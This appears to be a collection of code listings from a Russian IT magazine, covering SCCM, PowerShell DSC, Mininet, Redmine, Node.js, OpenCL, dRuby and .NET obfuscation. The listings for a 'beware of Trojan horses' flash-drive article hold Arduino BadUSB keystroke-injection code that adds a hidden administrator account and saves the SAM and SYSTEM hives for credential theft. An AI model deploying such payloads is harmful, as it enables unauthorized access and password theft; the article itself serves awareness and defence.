Microsoft SCCM 2012 SP1. Автоматическая установка ОС Windows Сергей Болдин Листинг 1. cmd-файл UltraVNC включает в себя следующее @echo off UltraVNC_1.0.8.2_Setup.exe /verysilent /loadinf="UltraVNC.inf" xcopy "ultravnc.ini" "%PROGRAMFILES%\UltraVNC\" /R /Y net stop uvnc_service net start uvnc_service ----------------------------------------------------------------------------------------------------------------- Удаление персональных данных из метаданных файлов Сергей Барамба Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Office\Common\UserInfo] "Company"="_" "CompanyName"="_" "UserName"="_" "UserInitials"="_" ----------------------------------------------------------------------------------------------------------------- Mininet – эмулятор компьютерной сети Александр Руденко $ sudo mn $ sudo mn mininet> nodes mininet> net mininet> link s1 h1 down mininet> link s1 h1 up mininet> h1 route mininet> h1 ping h2 mininet> pingall mininet> s1 ps mininet> iperf h1 h2 mininet> xterm h1 mininet> h1 python -m SimpleHTTPServer 80 & mininet> h2 wget -O - h1 mininet> h1 kill %python $ sudo mn -c $ sudo mn --topo single,24 $ sudo mn --topo linear,6 sudo mn --topo tree,depth=3,fanout=4 $ sudo mn --custom /<путь к скрипту>/topo-2sw-2host.py --topo mytopo mininet> iperf $ sudo mn --switch user --test iperf $ sudo mn --link tc,bw=10,delay=10ms ----------------------------------------------------------------------------------------------------------------- PowerShell Desired State Configuration. Назначение, возможности и использование Сергей Яремчук Configuration WebServer { Node ("WinServ-01","localhost2) # Указываем узлы { # Название Role-провайдера и произвольное уникальное имя WindowsFeature IIS { # Ensure показывает, что роль будет добавлена (по умолчанию), чтобы удалить, необходимо установить в Absent Ensure = "Present" # Имя устанавливаемой роли полученного Get-WindowsFeature Name = "Web-Server" } WindowsFeature ASP { Ensure = "Present" Name = "Web-Asp-Net45" } File DirCopy # Название File-провайдера и произвольное имя { Ensure = "Present" Type = "Directory" # По умолчанию используется File Recurse = $true # Рекурсивный обход # Исходный и конечный каталоги SourcePath = "C:\Demo" DestinationPath = "C:\inetpub\wwwroot" # Требует, чтобы роль Web-Server была уже установлена, указывается название и имя ресурса Requires = "[WindowsFeature]IIS" } } } # Вызываем функцию WebServer param($ComputerName) Node $ComputerName WebServer -OutputPath "c:\dsc" PS> ./WebServer.ps1 PS> Start-DscConfiguration -ComputerName localhost -Path WebServer -Credential Get-Credential PS> Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | OutPut-GridView PS> $Session = New-CimSession -ComputerName "WinServ-01" -Credential Get-Credential PS> Test-DscConfiguration –CimSession $Session PS> Get-DscLocalConfigurationManager PS> Get-WmiObject -Namespace "Root\Microsoft\Windows\DesiredStateConfiguration" -List Configuration LocalConfigurationManager { Node "localhost" { DesiredStateConfigurationSettings DscSettings { AutoRestartMode = "NoAutoRestart" ConfigurationMode = "ApplyOnly" ConfigurationRefreshFrequencyInSeconds = 600 } } } LocalConfigurationManager -OutputPath "С:\dsc" PS> ./LocalConfigurationManager.ps1 PS> Set-DscLocalConfigurationManager -Path "С:\dsc" PS> Install-WindowsFeature DSC-Service PS> Add-WindowsFeature Web-Server PS> Add-WindowsFeature Web-Http-Tracing PS> dism /online /enable-feature:ManagementOdata PS> Add-WindowsFeature NET-Http-Activation PS> Add-WindowsFeature Web-ASP-NET > cd C:\Windows\System32\inetsrv\ > .\appcmd.exe unlock config /section:access > .\appcmd.exe unlock config /section:anonymousAuthentication > .\appcmd.exe unlock config /section:basicAuthentication > .\appcmd.exe unlock config /section:windowsAuthentication ConfigurationMode = "Pull" DownloadManagerName = "WebDownloadManager" DownloadManagerCustomData = @{ServerUrl = "http://:8080/PSDSCPullServer/PSDSCPullServer.svc" } PullActionRefreshFrequencyInSeconds = 60 ----------------------------------------------------------------------------------------------------------------- Развертывание и адаптация Redmine под нужды страховой компании Дмитрий Андриенко $ sudo su # tasksel install lamp-server # apt-get install ruby-full libmysqlclient-dev libmagickwand-dev libapache2-mod-passenger # mysql -u root -p > CREATE DATABASE REDMINE CHARACTER SET UTF8; > CREATE USER 'REDMINE'@'LOCALHOST' IDENTIFIED BY 'REDMINEDB_PASSWORD'; > GRANT ALL PRIVILEGES ON REDMINE.* TO 'REDMINE'@'LOCALHOST'; > EXIT # wget h ttp://rubyforge.org/frs/download.php/76448/redmine-2.3.1.tar.gz # tar xzvf redmine-2.3.1.tar.gz # mv redmine-2.3.1 redmine # mv redmine /var/w ww/redmine # cd /var/w ww/redmine # cp config/database.yml.example config/database.yml # apt-get install rake ruby-bundler # cd config # bundle install --without development test postgresql sqlite # rake generate_secret_token RAILS_ENV=production rake db:migrate RAILS_ENV=production rake redmine:load_default_data PassengerDefaultUser w ww-database DocumentRoot /var/w ww/redmine/public RailsBaseURI /redmine # a2enmod passenger # cd /var/w ww # mkdir redmine/public/plugin_assets # chown -R w ww-data:w ww-data redmine/ # chmod -R 755 redmine/ # chmod -R 777 redmine/public/plugin_assets # chmod -R 777 redmine/files # service apache2 restart ServerName example.org ----------------------------------------------------------------------------------------------------------------- Чужой флеш-диск. Опасайтесь троянских коней Андрей Бирюков int count = 0; void setup() { } void loop() { Keyboard.print("Print text"); delay(5000); } net user test p@ssw0rd /add net localgroup Administrators test /add #include // объявляем необходимую библиотеку # define PAYLOAD_USER_ADD "net user test p@ssw0rd /add" // определяем команду добавления пользователя # define PAYLOAD_GROUP_ADD "net localgroup Administrators test /add" // определяем команду добавления в группу void setup() { // обязательная процедура setup delay(3000); //задержка 3 секунды minimise_windows(); //очищаем рабочий стол и переходим в меню «Пуск» delay(500); while(!cmd_admin(3,500)) // пытаемся создать окно cmd в минимальном разрешении { reset_windows_desktop(2000); // если не получается, очищаем рабочий стол } Keyboard.println(PAYLOAD_USER_ADD); // выполняем первую команду delay(2000); Keyboard.println(PAYLOAD_GROUP_ADD); // выполняем вторую команду delay(1000); Keyboard.println("exit"); //закрываем окно cmd } … void setup(){ delay(3000); while(!cmd_admin(3,500)) { reset_windows_desktop(2000); } Keyboard.println("if exist d:\\Docum09112013 reg.exe save HKLM\\SAM d:\\sam"); // проверяем на наличие диска d delay(2000); Keyboard.println("if exist d:\\Docum09112013 reg.exe save HKLM\\SYSTEM d:\\sys"); delay(8000); Keyboard.println("if exist e:\\Docum09112013 reg.exe save HKLM\\SAM e:\\sam"); // проверяем на наличие диска e delay(2000); Keyboard.println("if exist e:\\Docum09112013 reg.exe save HKLM\\SYSTEM e:\\sys"); delay(8000); // Аналогично проверяются другие диски Keyboard.println("exit"); } ----------------------------------------------------------------------------------------------------------------- Модульная архитектура Node.js Кирилл Сухов server.on('connection', function () { console.log('connected!'); }); server.once('connection', function () { console.log('first connection!'); }); var http = require('http'); var server = http.createServer(function(request, response) { }).listen(8080); function serverClose () { server.close(); } server.on('connection', function () { console.log('Connected!'); }); server.on('connection', serverClose ); console.log(server.listeners('connection')); C:\Users\Geol\node>node ev.js var callback = function() { console.log('Connected!'); }; server.on('connection', callback); // ... server.removeListener('connection', callback); server.on('someevent', function (arg) { console.log('event '+arg); }); server.emit('someevent', '!!!'); console.log(util.inspect(server.listeners('someevent'))); var EventEmitter = require('events').EventEmitter; var emiter = new EventEmitter(); emiter.on('myEvent', function(ray) { console.log(ray); }); setInterval(function() { emiter.emit('myEvent', 'YES!'); }, 1000); var VideoPlayer = function(movie) { var self = this; setTimeout(function() { self.emit('start', movie); }, 0); setTimeout(function() { self.emit('finish', movie); }, 5000); this.on('newListener', function(listener) { console.log('Event Listener: ' + listener); }); } myPlayer.on('start', function() { console.log(' movie started'); }); C:\Users\Geol\node\newNode1.js:16 var util = require("util"); var EventEmitter = require('events').EventEmitter; var VideoPlayer = function(movie) { var self = this; …............................................... }; util.inherits(VideoPlayer, EventEmitter); }; util.inherits(VideoPlayer, EventEmitter); var movie = { name: 'My cat' }; var myPlayer = new VideoPlayer(movie); myPlayer.on('start', function(movie) { console.log('"%s" started', movie.name);('? d?'); }); myPlayer.on('finish', function(movie) { console.log('"%s" finished', movie.name); }); C:\Users\Geol\node>node newNode1.js var colors = require('./colors'); console.log('rainbows rasing!'.rainbow); console.log('background color!'.grey.blueBG) console.log(colors.bold(colors.red('Chains are also cool...'))); colors.addSequencer("rastafari", function(letter, i, exploded) { if(letter === " ") return letter; switch(i%3) { case 0: return letter.red; case 1: return letter.yellow; case 2: return letter.green; } }) console.log("Bob Marley YEAH!".rastafari ); node color.js C:\Users\Geol\node>npm C:\Users\Geol\node>npm ls C:\Users\Geol\node>npm search mongodb npm http GET https://registry.npmjs.org/-/all/since?stale=update_a npm http 200 https://registry.npmjs.org/-/all/since?stale=update_a npm install mongoose npm http GET https://registry.npmjs.org/mongoose npm http 200 https://registry.npmjs.org/mongoose npm http GET https://registry.npmjs.org/mongoose/-/mongoose-3.6.19.tgz npm http 200 https://registry.npmjs.org/mongoose/-/mongoose-3.6.19.tgz .......................................................... npm http 304 https://registry.npmjs.org/bson/0.2.2 npm http 304 https://registry.npmjs.org/kerberos/0.0.3 > kerberos@0.0.3 install C:\Users\Geol\node_modules\mongoose\node_modules\mongodb\node_modules\kerberos > (node-gyp rebuild 2> builderror.log) || (exit 0) .......................................................... C:\Users\Geol\node_modules\mongoose\node_modules\mongodb\node_modules\bson>node npm WARN package.json policyfile@0.0.4 No repository field. npm WARN package.json policyfile@0.0.4 'repositories' (plural) Not supported. npm WARN package.json Please pick one as the 'repository' field npm -g install mongoose var band = function(name) { this.name = name; }; band.prototype.getName = function(){ console.log(this.name) } var myBand1 = new band("The Beatles"); var myBand2 = new band("The Rolling Stones"); myBand1.getName(); myBand2.getName(); C:\Users\Geol\node>node bands/main.js var band = function(name) { this.name = name; }; band.prototype.getName = function(){ console.log(this.name) } require('./band.js'); var myBand1 = new band("The Beatles"); var myBand2 = new band("The Rolling Stones"); myBand1.getName(); myBand2.getName(); band.prototype.getName = function(){ console.log(this.name) } global.band = band; band.prototype.getName = function(){ console.log(this.name) } exports.Band = band; main.js теперь будет выглядеть так: var item = require('./band.js'); var myBand1 = new item.Band("The Beatles"); var myBand2 = new item.Band("The Rolling Stones"); myBand1.getName(); myBand2.getName(); var artist = require('./artist'); var band = function(name) { this.name = name; }; band.prototype.getName = function(){ console.log(this.name) } exports.Band = band; var artist = function(name) { this.name = name; }; artist.prototype.getName = function(){ console.log(this.name) } exports.Artist = artist; var item = require('./bands'); var myBand1 = new item.Band("The Beatles"); { "The Beatles": ["John Lennon","Paul McCartney", "George Harrison","Ringo Starr"], "The Rolling Stones":["Mick Jagger", "Keith Richards","Charlie Watts","Ronnie Wood"] } var artist = require('./artist'); var members = require('./members'); var band = function(name) { this.name = name; }; band.prototype.getName = function(){ return this.name; } band.prototype.getMembers = function(name){ band = members[name]; console.log(band); } exports.Band = band; var band = require('./bands'); var myBand1 = new band.Band("The Beatles"); var myBand2 = new band.Band("The Rolling Stones"); var bandName = myBand1.getName(); console.log(bandName); myBand1.getMembers(bandName); var bandName = myBand2.getName(); console.log(bandName); myBand2.getMembers(bandName); C:\Users\Geol\node>node main.js { "name": "mongoose", "description": "Elegant MongoDB object modeling for Node.js", "version": "3.6.19", "author": { "name": "Guillermo Rauch", "email": "guillermo@learnboost.com" }, "keywords": [ "mongodb", "document", ... ], "dependencies": { "hooks": "0.2.1", "mongodb": "1.3.19", ........ }, "directories": { "lib": "./lib/mongoose" }, "main": "./index.js", "engines": { "node": ">=0.6.19" }, "repository": { "type": "git", "url": "git://github.com/LearnBoost/mongoose.git" }, "homepage": "http://mongoosejs.com", } C:\Users\Geol\node\bands>npm init { "name": "Bands", "version": "0.0.1", "description": "Test Aplication", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "repository": "", "keywords": [ "test" ], "author": "k.sukhov", "license": "BSD" } "author": "k.sukhov", "license": "BSD", "dependencies": { "colors": "*", "jade": "*", } } C:\Users\Geol\node\bands>npm install ----------------------------------------------------------------------------------------------------------------- Компьютерная графика на основе OpenGL. Часть 5. Использование OpenCL Алексей Верижников clGetPlatformIDs(1, &cpPlatform, NULL); clGetDeviceIDs(cpPlatform, CL_DEVICE_TYPE_GPU, 1, &cdDevice, NULL); cxGPUContext = clCreateContext(0, 1, &cdDevice, NULL, NULL, &ciErr1); cqCommandQueue = clCreateCommandQueue(cxGPUContext, cdDevice, 0, &ciErr1); cmDevSrcA = clCreateBuffer(cxGPUContext, CL_MEM_READ_ONLY, sizeof(cl_float) * szGlobalWorkSize, NULL, &ciErr1); cmIndexDst = clCreateBuffer(cxGPUContext, CL_MEM_WRITE_ONLY, sizeof(cl_int) * (szGlobalWorkSize+1), NULL, &ciErr2); clSetKernelArg(ckKernel, 0, sizeof(cl_mem), (void*)&cmDevSrcA); clEnqueueWriteBuffer(cqCommandQueue, cmDevSrcA, CL_FALSE, 0, sizeof(cl_float) * szGlobalWorkSize, srcA, 0, NULL, NULL); clEnqueueReadBuffer(cqCommandQueue, cmDevDst, CL_TRUE, 0, sizeof(cl_float) *szGlobalWorkSize, dst, 0, NULL, NULL); clEnqueueNDRangeKernel(cqCommandQueue, ckKernel, 1, NULL, &szGlobalWorkSize, &szLocalWorkSize, 0, NULL, NULL); #pragma OPENCL EXTENSION cl_khr_global_int32_base_atomics : enable #pragma OPENCL EXTENSION cl_khr_local_int32_base_atomics : enable #pragma OPENCL EXTENSION cl_khr_global_int32_extended_atomics : enable #pragma OPENCL EXTENSION cl_khr_local_int32_extended_atomics : enable _kernel void VectorAdd(__global const float* a, __global const float* b, __global float* c, int iNumElements, __global uint *indexDst, __global int *countIndexDst) { … Выполняемый код int iGID = get_global_id(0); if (iGID % 3 == 0) { indexDst[iGID] = iGID/3; indexDst[iGID+1] = iGID/3; indexDst[iGID+2] = iGID/3; atomic_inc(&indexDst[0]); } } cpProgram = clCreateProgramWithSource(cxGPUContext, 1, (const char **)&cSourceCL, &szKernelLength, &ciErr1); clBuildProgram(cpProgram, 0, NULL, flags, NULL, NULL); ckKernel = clCreateKernel(cpProgram, "VectorAdd", &ciErr1); clEnqueueNDRangeKernel(cqCommandQueue, ckKernel, 1, NULL, &szGlobalWorkSize, &szLocalWorkSize, 0, NULL, NULL); if (iGID % 3 == 0) { indexDst[iGID] = iGID/3; indexDst[iGID+1] = iGID/3; indexDst[iGID+2] = iGID/3; } atomic_inc(&indexDst[0]); int iGID = get_global_id(0); if (iGID % 3 == 0) { atomic_inc(&indexDst[0]); } int iGID = get_global_id(0); if (iGID % 3 == 0) { &indexDst[0]++; } ----------------------------------------------------------------------------------------------------------------- Распределенный Ruby. Прозрачный RPC для взаимодействия Ruby-программ Иван Шихалев require 'drb' class Server def alpha arg puts "Alpha called with #{arg.inspect}" [:alpha, arg] end end DRb.start_service 'druby://localhost:9000', Server.new DRb.thread.join require 'drb' a = DRbObject.new nil, 'druby://localhost:9000' p a.alpha(1) p a.alpha(nil) p a.alpha("beta") $ ruby 01_c.rb class Alpha def dummy :dummy end end class Server def alpha Alpha.new end end s = DRbObject.new nil, 'druby://localhost:9000' a = s.alpha p a p a.dummy $ ruby 02_c.rb class Gamma include DRbUndumped def dummy puts 'Dummy called' :dummy end end class Server def gamma Gamma.new end end class Server include DRbUndumped def doSmth &block puts '--- server' block.call self end end DRb.start_service 'druby://localhost:9000', Server.new Drb.thread.join require 'drb' DRb.start_service s = DRbObject.new nil, 'druby://localhost:9000' s.doSmth do |srv| puts '--- client' end s.instance_eval 'undef :instance_eval' s.instance_eval 'p "client str"' DRb.start_service 'druby://localhost:9000', Server.new, :safe_level => 1 require 'drb/unix' DRb.start_service 'drbunix:/tmp/mydrb', Server.new, :UNIXFileMode => 0660 require 'drb/acl' acl = ACL.new(%w( deny all allow localhost allow ::1 allow 192.168.1.* )) DRb.start_service 'druby://localhost:9000', Server.new, :tcp_acl => acl $ ssh -N -L 9000:127.0.0.1:9000 -R 9001:127.0.0.1:9001 server DRb.start_service 'druby://127.0.0.1:9001' s = DRbObject.new nil, 'druby://127.0.0.1:9000' ----------------------------------------------------------------------------------------------------------------- Shebang – уроки истории Денис Силаков $ sh ./script.sh execl(program, basename(program), (char *)0); if (errno == ENOEXEC) execl ("/bin/sh", "sh", "-c", program, (char *)0); perror(program); return -1; #! <интерпретатор> <текст скрипта> #! /bin/sh echo «Hello, world!» #!/bin/cat #! /bin/bash -r #! /usr/bin/env python ----------------------------------------------------------------------------------------------------------------- Защита приложений Михаил Ушаков public static class BasicMessbauerCalculations { public const double DeviationCoefficient = 1.5; private const ushort a = (ushort) 20; private const double b = 2.0; public static bool IsSpectrumValid(this ulong[] spectrum) { IMessbauerSpectrum spectrum1 = (IMessbauerSpectrum) new MessbauerSpectrum(); spectrum1.AssignSpectrum(spectrum); return BasicMessbauerCalculations.IsSpectrumValid(spectrum1); } public static bool IsSpectrumValid(this IMessbauerSpectrum spectrum) { if (spectrum == null || spectrum.GetSpectrum() == null) return false; else return Enumerable.ToList((IEnumerable) Enum.GetValues(typeof Contains((int) spectrum.GetMeasureMode()); } public static MessabuerSpectrumProperties CalculateBasicProperties(this IMessbauerSpectrum spectrum) { MessabuerSpectrumProperties A_1 = new MessabuerSpectrumProperties(); ulong[] spectrum1 = spectrum.GetSpectrum(); A_1.MaximumCounts = Enumerable.Max((IEnumerable) spectrum1); A_1.MaximumCountsChannel = (ushort) Array.IndexOf(spectrum1, Enumerable.Max((IEnumerable) spectrum1)); A_1.MinimumCounts = Enumerable.Min((IEnumerable) spectrum1); A_1.MinimumCountsChannel = (ushort) Array.IndexOf(spectrum1, Enumerable.wMin((IEnumerable) spectrum1)); BasicMessbauerCalculations.a(spectrum1, ref A_1); return A_1; } private static bool a(ulong[] A_0, ref MessabuerSpectrumProperties A_1) { ulong[] A_0_1 = new ulong[20]; ulong[] A_2 = new ulong[0]; for (ushort index = (ushort) 0; (int) index < A_0_1.Length / 2; ++index) { A_0_1[(int) index] = A_0[(int) index]; A_0_1[(int) index + 10] = A_0[A_0.Length - 10 + (int) index]; } for (ushort A_1_1 = (ushort) 0; (int) A_1_1 < A_0_1.Length; ++A_1_1) BasicMessbauerCalculations.a(A_0_1, A_1_1, ref A_2); ulong num = A_2.Length > 10 ? Enumerable.Aggregate((IEnumerable) A_2, (Func) ((A_0, A_1) => A_0 + A_1)) / (ulong) A_2.Length : 0UL; A_1.BaseLine = num; A_1.Effect = num > 0UL ? (double) (num - Enumerable.Min((IEnumerable) A_0)) / (double) num : 0.0; A_1.SignalNoiseRatio = num > 0UL ? (double)(num - A_1.MinimumCounts) / (double)(Enumerable.Max((IEnumerable) ↵ A_2) - Enumerable.Min((IEnumerable) A_2)) : 0.0; return num > 0UL; } private static void a(ulong[] A_0, ushort A_1, ref ulong[] A_2) { // ISSUE: object of a compiler-generated type is created // ISSUE: variable of a compiler-generated type BasicMessbauerCalculations.a a = new BasicMessbauerCalculations.a(); List list = new List ((IEnumerable) A_0); // ISSUE: reference to a compiler-generated field a.a = (double) list[(int) A_1]; list.RemoveAt((int) A_1); // ISSUE: reference to a compiler-generated field // ISSUE: reference to a compiler-generated field a.b = 1.5 * Math.Sqrt(2.0 * a.a); // ISSUE: reference to a compiler-generated method list.RemoveAll(new Predicate(a.c)); if (list.Count <= A_2.Length) return; A_2 = list.ToArray(); } } public static class BasicMessbauerCalculations { public const double DeviationCoefficient = 1.5; static BasicMessbauerCalculations() { QuVtN4R6LJBXhRsBoV.NSrxsBr4S(); } [MethodImpl(MethodImplOptions.NoInlining)] public static bool IsSpectrumValid(this ulong[] spectrum) { return true; } [MethodImpl(MethodImplOptions.NoInlining)] public static bool IsSpectrumValid(this IMessbauerSpectrum spectrum) { return true; } [MethodImpl(MethodImplOptions.NoInlining)] public static MessabuerSpectrumProperties CalculateBasicProperties(this IMessbauerSpectrum spectrum) { return (MessabuerSpectrumProperties) null; } [MethodImpl(MethodImplOptions.NoInlining)] private static bool CLihus5od(object \u0020, ref MessabuerSpectrumProperties \u0020) { return true; } [MethodImpl(MethodImplOptions.NoInlining)] private static void tTYLSvWG0(object \u0020, ushort \u0020, ref ulong[] \u0020) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static bool KidqkL6gruSj09IPLf([In] object obj0, [In] object obj1) { return true; } [MethodImpl(MethodImplOptions.NoInlining)] internal static bool r93jDvcxcJ1FkdOR90([In] object obj0) { return true; } [MethodImpl(MethodImplOptions.NoInlining)] internal static bool KwJX9OSCEmVsXpEykq() { return true; } [MethodImpl(MethodImplOptions.NoInlining)] internal static bool v2RabkvoBZ0O2LBW3T() { return true; } [MethodImpl(MethodImplOptions.NoInlining)] internal static object gvJWEl1N3EoqRfBK7K([In] object obj0) { return (object) null; } [MethodImpl(MethodImplOptions.NoInlining)] internal static Type fH0BsF5T5TshUrMGR1([In] RuntimeTypeHandle obj0) { return (Type) null; } [MethodImpl(MethodImplOptions.NoInlining)] internal static object q2HVrcRiUqnaHr46A2([In] Type obj0) { return (object) null; } [MethodImpl(MethodImplOptions.NoInlining)] internal static ushort WHxKGmESqgyA1GTkMv([In] object obj0) { return (ushort) 0; } [MethodImpl(MethodImplOptions.NoInlining)] internal static void Q9YrfxTt8k2jpxCFaR([In] object obj0, ulong value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static void hugVOXWXcwjEMQNAbx([In] object obj0, ushort value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static void kxHvq84ySmu6kSQpZK([In] object obj0, ulong value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static void itBCMiodT02MaFk52k([In] object obj0, ushort value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static void zRcvtOr7VR6EeBlC6P([In] object obj0, ulong value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static void aC8oM9BIyeJ6btloOJ([In] object obj0, double value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static ulong GrKVTcAaj7gs0AeGFW([In] object obj0) { return 0UL; } [MethodImpl(MethodImplOptions.NoInlining)] internal static void YDZil7klckXDuMsB7Z([In] object obj0, double value) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static void ljVtkSXOSPK2cyiK87([In] object obj0, [In] int obj1) { } [MethodImpl(MethodImplOptions.NoInlining)] internal static double wIAwmAZwImMMBQP6Ob([In] double obj0) { return 0.0; } [MethodImpl(MethodImplOptions.NoInlining)] internal static int rqlOrlFOPt4F9idFfM([In] object obj0) { return 0; } [MethodImpl(MethodImplOptions.NoInlining)] internal static object VaoSMZJ9UtKLpUasGH([In] object obj0) { return (object) null; } } -----------------------------------------------------------------------------------------------------------------